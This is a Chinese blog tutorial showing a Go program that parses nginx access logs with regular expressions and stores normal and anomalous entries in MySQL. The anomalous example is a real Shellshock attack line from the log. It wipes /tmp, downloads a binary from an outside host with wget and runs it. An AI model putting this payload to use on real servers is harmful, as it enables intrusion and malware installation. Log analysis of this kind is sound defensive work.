上一篇文章已经介绍了golang对mysql的简单操作,那现在处理好的nginx数据就存放到MySQL中。

nginx日志格式

// ip地址          访问时间                    访问方式  访问路径           协议    状态码 数据大小  referer  user-agent
// 87.26.2.130 - - [24/Oct/2020:14:40:21 +0800] "POST /editBlackAndWhiteList HTTP/1.1" 404 146 "-" "ApiTool"

对应的正则表达式

// 每行nginx格式:ip 访问时间 访问方式 访问路径 协议 状态码 数据大小 referer user-agentre := `^([\d]{1,3}\.[\d]{1,3}\.[\d]{1,3}\.[\d]{1,3}) - - \[(.*)\] "([^\s]+) ([^\s]+) ([^\s]+?)" ([\d]{3}) ([\d]{1,9}) "([^"]*?)" "([^"]*?)"`

成功提取后,存放的结构体

type LogsInfo struct {Ip        stringTime      int64Method    stringPath      stringProtocol  stringStatus    intSize      intReferer   stringUserAgent string
}

这些是能按正常nginx格式提取的数据,但总有些不正的访问

156.96.155.229 - - [16/Nov/2020:17:34:42 +0800] "GET / HTTP/1.1" 200 3196 "() { :; }; /bin/bash -c \x22rm -rf /tmp/*;echo wget http://houmen.linux22.cn:123/houmen/linux223 -O /tmp/China.Z-eckr\xA8 >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 /tmp/China.Z-eckr\xA8 >> /tmp/Run.sh;echo /tmp/China.Z-eckr\xA8 >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh\x22" "() { :; }; /bin/bash -c \x22rm -rf /tmp/*;echo wget http://houmen.linux22.cn:123/houmen/linux223 -O /tmp/China.Z-eckr\xA8 >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 /tmp/China.Z-eckr\xA8 >> /tmp/Run.sh;echo /tmp/China.Z-eckr\xA8 >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh\x22"

看到下面这条语句,rm -rf,这不是想删库跑吗

echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh

对这些异常的访问,我们也要提取出来,正则如下

re1 := `^([\d]{1,3}\.[\d]{1,3}\.[\d]{1,3}\.[\d]{1,3}) - - \[(.*)\] (.*)`

结构体

type LogsInfoException struct {Ip    stringTime  int64Other string
}

这两个结构体,对应MySQL数据库表

CREATE TABLE `logs_info` (`id` int(11) NOT NULL AUTO_INCREMENT,`ip` varchar(24) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',`time` int(11) NOT NULL DEFAULT '0',`method` varchar(24) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',`path` varchar(1024) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',`protocol` varchar(24) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',`status` int(4) NOT NULL DEFAULT '0',`size` int(11) NOT NULL DEFAULT '0',`referer` varchar(1024) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',`user_agent` varchar(1024) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=96262 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='nginx logs';
CREATE TABLE `logs_info_exception` (`id` int(11) NOT NULL AUTO_INCREMENT,`ip` varchar(24) COLLATE utf8_unicode_ci NOT NULL,`time` int(11) NOT NULL,`other` varchar(2048) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=4298 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;

话不多说,直接上代码

package mainimport ("bufio""fmt""io""log""os""regexp""strconv""strings""time""github.com/jinzhu/gorm"_ "github.com/jinzhu/gorm/dialects/mysql"
)type LogsInfo struct {Ip        stringTime      int64Method    stringPath      stringProtocol  stringStatus    intSize      intReferer   stringUserAgent string
}type LogsInfoException struct {Ip    stringTime  int64Other string
}func main() {start := time.Now()// 连接数据库db, err := gorm.Open("mysql", "root:root@/test?charset=utf8&parseTime=True&loc=Local")defer db.Close()if err != nil {println("connection mysql fail")} else {println("connectiton mysql success")}// 设置全局表名禁用复数db.SingularTable(true)mq := make(chan string, 50)  // 存放消息,用来给多个go程消费signal := make(chan bool, 2) // 读取文件结束标志// 注塑主进程,防止主进程exitforever := make(chan bool)// 起5个go程,解析nginx的mq,并存入到mysqlgo worker("worker1", mq, db)go worker("worker2", mq, db)go worker("worker3", mq, db)go worker("worker4", mq, db)go worker("worker5", mq, db)// 起一个go程,用来读取nginxgo task(mq, signal)// 主进程退出检测go func(signal chan bool, mq chan string, forever chan bool) {for {if len(signal) == 1 && len(mq) == 0 {forever <- true}}}(signal, mq, forever)// 优雅退出<-foreverfmt.Println("cost:", time.Since(start).Seconds(), "s")}// task
// read log file
// 日志文件一般都比较大,很难一次性读取到内存中
// 这里是一行一行读取,并将每一行string放入mq通道中
func task(mq chan string, signal chan bool) error {// read log filefilePath := "log/access.log"f, err := os.Open(filePath)defer f.Close()if err != nil {log.Panic(err)return err}buf := bufio.NewReader(f)count := 0for {if count > 1000 { // 加个条件方便测试数据量signal <- truereturn nil}line, _, err := buf.ReadLine()if err != nil {if err == io.EOF {signal <- truereturn nil}signal <- truereturn err}body := strings.TrimSpace(string(line))mq <- bodylog.Println("task: ", count)count += 1// 每次读取后,都检查一下mq通道的容量,如果容量达到一般,则sleep,将时间片交给其他go程// 达到容量的阈值,以及sleep的时间,要根据自己的电脑配置计算的出// 比如,处理10000个mq,就可以大概计算出处理1个mq所需要的的时间if len(mq) > 25 {time.Sleep(10 * time.Millisecond)}}
}// consumer
// parse and write
func worker(workerName string, mq chan string, db *gorm.DB) {count := 0for d := range mq {parse(d, db)count++log.Println(workerName, ": ", count)}
}// parse and write
func parse(str string, db *gorm.DB) {// 每行nginx格式:ip 访问时间 访问方式 访问路径 协议 状态码 数据大小 referer user-agentre := `^([\d]{1,3}\.[\d]{1,3}\.[\d]{1,3}\.[\d]{1,3}) - - \[(.*)\] "([^\s]+) ([^\s]+) ([^\s]+?)" ([\d]{3}) ([\d]{1,9}) "([^"]*?)" "([^"]*?)"`reg := regexp.MustCompile(re)parseInfo := reg.FindStringSubmatch(str)// 匹配不到正常的格式,那么这条访问记录很可能有问题// 异常nginx处理if len(parseInfo) == 0 {re1 := `^([\d]{1,3}\.[\d]{1,3}\.[\d]{1,3}\.[\d]{1,3}) - - \[(.*)\] (.*)`reg1 := regexp.MustCompile(re1)parseInfo1 := reg1.FindStringSubmatch(str)if len(parseInfo1) == 0 {return}t1, _ := time.Parse("02/Jan/2006:15:04:05 -0700", parseInfo1[2])infoException := LogsInfoException{Ip:    parseInfo1[1],Time:  t1.Unix(),Other: parseInfo1[3],}// 将异常的nginx日志写入logs_info_exception表db.Create(&infoException)return}t, _ := time.Parse("02/Jan/2006:15:04:05 -0700", parseInfo[2])status, _ := strconv.Atoi(parseInfo[6])size, _ := strconv.Atoi(parseInfo[7])//info := LogsInfo{Ip:        parseInfo[1],Time:      t.Unix(),Method:    parseInfo[3],Path:      parseInfo[4],Protocol:  parseInfo[5],Status:    status,Size:      size,Referer:   parseInfo[8],UserAgent: parseInfo[9],}// 将正常的nginx日志写入logs_info表db.Create(&info)}

注意这里,这就是go语言的魅力,虽然只起了五个worker解析以及写入MySQL,对mysql来说还是处于高并发状态,这可是一个很好的处理mysql高并发的机会,自由发挥了

// 起5个go程,解析nginx的mq,并存入到mysql
go worker("worker1", mq, db)
go worker("worker2", mq, db)
go worker("worker3", mq, db)
go worker("worker4", mq, db)
go worker("worker5", mq, db)// 起一个go程,用来读取nginx
go task(mq, signal)

项目代码已放码云

Go语言实战-nginx日志处理相关推荐

  1. CentOS 7.2下ELK分析Nginx日志生产实战(高清多图)

    注:本文系原创投稿 本文以api.mingongge.com.cn域名为测试对象进行统计,日志为crm.mingongge.com.cn和risk.mingongge.com.cn请求之和(此二者域名 ...

  2. 【临实战】使用 Python 处理 Nginx 日志

    有什么 有 14 台机器(意味着我们有 14 份日志) 一台可以连到这 14 太机器的机器(有Python 2.6) 要做什么 获取 14 台机器上某时间段内的包含某特征的日志,再取出其中的特定内容 ...

  3. spark 持久化 mysql_Spark 从零到开发(八)nginx日志清洗并持久化实战

    本文将介绍如何清洗nginx日志并存储到mysql中,附带azkaban定时任务协作完成对access.log的清洗任务. 1. 查看nginx日志格式 cd /var/log/nginx [root ...

  4. 利用ELK分析Nginx日志生产实战(高清多图)

    本文以api.mingongge.com.cn域名为测试对象进行统计,日志为crm.mingongge.com.cn和risk.mingongge.com.cn请求之和(此二者域名不具生产换环境统计意 ...

  5. (14.1)Nginx日志分析项目实战

    文章目录 1.ngingx的日志格式 2.基于nginx日志的特点,分析nginx日志 1.ngingx的日志格式 nginx的日志格式:vim /etc/nginx/nginx.conf log_f ...

  6. 实战Nginx与PHP(FastCGI)的安装、配置与优化

     实战Nginx与PHP(FastCGI)的安装.配置与优化 2012-03-15 14:06:12 标签:安装 优化 配置 FastCGI PHP 原创作品,允许转载,转载时请务必以超链接形式标明文 ...

  7. nginx日志中$request_time时间异常问题排查

    女主宣言 nginx日志分为access_log和error_log,可以用于业务的访问统计.服务排障等.我们可以自定义设置log_format,来记录关注的各项指标.本文主要讲述了一次nginx日志 ...

  8. wordpress所属权限改为nginx_linux运维之logrotate日志轮替——对nginx日志进行轮替-linux运维...

    linux系统上有一个非常好用的轮替服务--logrotate.通过这个服务,可以对日志文件进行轮替管理.当日志文件过大时,可以对其进行切割成多个小的日志文件,还可以对其进行压缩处理.nginx默认的 ...

  9. go语言视频教程_ go语言入门视频教程_go语言实战视频教程

    许多人可能知道go语言的优点在哪里,但他们不知道go语言适合在哪里使用.通过学习go语言视频教程,可以清楚的知道go语言主要用于服务器端开发,其定位是用来开发"大型软件".学习go ...

  10. 视频教程-Go语言实战合集-Go语言

    Go语言实战合集 毕业于清华大学,曾担任Google算法工程师,微软区块链领域全球最具价值专家,微软Tech Ed 大会金牌讲师. 精通C/ C++,Python ,Go语言,Sicikit-Lear ...

最新文章

  1. 有没有一只蜻蜓永远为你守候?
  2. 云炬Android开发报错处理教程 Gradle下载超时please configure the proxy settings either in IDE or Gradle
  3. storm 动态设置并发度
  4. CLR via C# 阅读 笔记
  5. 数据库管理工具DBeaverEE 22 for Mac企业版
  6. Qt 使用vs调试的方法
  7. 前端数据修改的两种方式
  8. 凸优化——对偶问题解题步骤
  9. bootstrapValidator.js文件里的提示语:设置为中文
  10. LTE入门之UE-Category
  11. Python爬取链家北京租房房价|保存为csv格式文件
  12. springboot RedisTemplate 提示没有双引号序列化失败问题
  13. [转载]Navicat12.1系列破解教程,Navicat12.1.16破解亲测有效!!
  14. 数据结构 在顺序表中头插及尾插的实现
  15. omap-l138烧写程序之 - 启动模式选择及确认
  16. Linux硬盘空间爆满后如何清理
  17. 数据通信原理_什么是数据通信?有什么特点?
  18. 编写Python语言,使用循环求解1到100之间数的偶数和
  19. 杨小玲,典型的南方全能原创歌手
  20. DVWA 之文件上传漏洞

热门文章

  1. coreseek java_coreseek 安装及使用方法详解
  2. 传奇衣服、翅膀、武器、怪物、NPC等外观代码计算方法与公式
  3. go 导出 html 报告(使用 hero 预编译 html 模板引擎)
  4. 概率论与数理统计浙大第五版 第一章 部分习题+R代码
  5. iphone越狱-------平刷回越狱前(未越狱)状态
  6. 【综合篇】Web前端性能优化原理问题
  7. 我的数据分析入门整理(一)
  8. 电视盒子刷鸿蒙系统,当贝市场亲测有效三款获取电视和盒子root权限的工具应用...
  9. 21天自学c语言漫画版,21天学通C语言第6版
  10. 开发一款AirPods或者Beats耳机查看电量的软件